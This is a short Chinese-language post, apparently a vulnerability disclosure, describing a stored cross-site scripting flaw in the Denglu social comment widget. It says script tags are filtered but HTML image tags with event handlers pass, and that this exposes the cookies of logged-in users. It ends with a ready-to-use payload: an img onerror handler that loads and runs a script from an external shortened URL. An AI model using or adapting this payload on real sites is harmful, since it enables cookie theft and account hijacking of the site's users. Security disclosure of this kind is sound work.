灯鹭社会化评论框 http://www.denglu.cc/ 灯鹭社会化评论框要是直接script是无效的 但是可以发现其允许插入图片 纯支持html 然后各种试on~ 目前可以跨到当前灯鹭登录前后台用户的cookies URL各种! 直接插入 img src=asfsd onerror=this.onerror=null;this.sr
灯鹭社会化评论框要是直接script是无效的
但是可以发现其允许插入图片 纯支持html 然后各种试on~
目前可以跨到当前灯鹭登录前后台用户的cookies URL各种!
直接插入
<img src="asfsd" onerror='this.onerror=null;this.src="";var s=document.createElement("script");s.charset = "UTF-8";s.src="http://url.cn/CkgRtX";document.body.appendChild(s);' />